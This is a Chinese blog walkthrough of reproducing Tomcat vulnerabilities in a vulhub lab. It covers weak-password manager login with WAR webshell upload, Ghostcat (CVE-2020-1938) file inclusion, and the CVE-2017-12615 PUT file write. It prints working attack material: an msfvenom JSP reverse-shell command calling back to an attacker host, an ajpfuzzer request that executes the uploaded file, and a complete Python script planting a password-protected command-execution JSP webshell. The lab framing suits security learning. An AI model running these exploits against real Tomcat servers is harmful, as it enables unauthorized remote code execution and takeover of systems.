vulhub靶场-tomcat漏洞复现

目录

 tomcat8

CVE-2020-1938

CVE-2017-12615


 tomcat8

 环境说明:

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

 - manager(后台管理)
   - manager-gui 拥有html页面权限
   - manager-status 拥有查看status的权限
   - manager-script 拥有text接口的权限,和status权限
   - manager-jmx 拥有jmx权限,和status权限
 - host-manager(虚拟主机管理)
   - admin-gui 拥有html页面权限
   - admin-script 拥有text接口权限

开启环境之后浏览器打开,如果不知道tomcat的后台管理页面为manager的话,在本环境中也可以自己摸索出登录框,点击图中任意三个请求之后也能发现登录框

 

 找到登录页面之后尝试tomcat的弱口令,tomcat+tomcat成功登录。

 之后就发现可以进行上传文件的操作

 上传war包getshell,上传完成之后就可以看到多了一栏数据

 打开蚁剑进行连接

成功拿到shell

CVE-2020-1938

Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。Ghostcat是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。

环境启动之后,进行端口扫描

看到有个陌生的ajp13协议,搜索得知这是个定向包协议。因为性能原因,使用二进制格式来传输可读性文本。

访问8080端口,是个tomcat的页面,

接下来我们利用poc进行漏洞检测。若存在漏洞则可以查看webapps目录下的所有文件。

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境

我的kali单独使用python命令的话默认用的是python3,所以我跑py2环境的脚本就要在python后加上2。运行之后成功查看web.xml文件。

 验证完成之后就可以进行漏洞利用的操作了,先利用msf生成一个jsp木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.217.139 LPORT=4444 R >shell.txt

接着把木马上传到docker容器中

docker cp shell.txt c369ed596440:/usr/local/tomcat/webapps/ROOT/WEB-INF/

 上传完成之后进入msf进行端口监听

再利用poc完成反弹shell 。但是运行shell脚本之后发现msf的端口监听没有反应,又重复了一遍操作,发现还是不行。网上看到文章说可以利用工具发送ajp请求,让上传的文件被tomcat当作jps来解析。下载AJP包构造器ajpfuzzer。

wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar

下载完成之后再运行

java -jar ajpfuzzer_v0.6.jar

然后连接目标端口

connect 192.168.217.134 8009

构造发送AJP包的命令,/WEB-INF/ma.png为上传的木马路径,11.jsp 可换做 *.jsp,任意网站目录下不存在的jsp文件,这样tomcat才会去调用DefaultServlet

forwardrequest 2 "HTTP/1.1" "/11.jsp" 192.168.217.134 192.168.217.134 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/WEB-INF/shell.txt","javax.servlet.include.servlet_path:/"

 发送ajp请求后,shell.txt文件被tomcat作为jsp文件解析,成功getshell

CVE-2017-12615

PUT方法任意写文件漏洞(CVE-2017-12615)

影响范围:Apache Tomcat 7.0.0 - 7.0.81

该版本Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件

环境启动之后浏览器访问,是个正常的tomcat页面。

 我们要往服务器里写入shell,bp抓包,然后修改数据

把get请求修改为POST请求,再改为PUT

发现报错了。虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。

利用脚本

import requests
import sys
import time

'''
Usage:
	python CVE-2017-12615.py http://127.0.0.1

	shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami


'''

def attack(url):
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
	headers={"User-Agent":user_agent}
	data="""<%
    if("fff".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>"""
	try:
		requests.put(url, headers=headers, data=data)

		time.sleep(2)

		verify_response = requests.get(url[:-1], headers=headers)

		if verify_response.status_code == 200:
			print 'success!'
		else :
			print verify_response.status_code

	except :
		"error"

if __name__ == '__main__':
	target_url = sys.argv[1] + '/201712615.jsp/'

	attack(target_url)
	print 'shell: ' + target_url[:-1]

把shell路径复制,后面跟上?pwd=fff&cmd=id,pwd是密码,脚本里面可以修改,cmd是执行的命令,

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值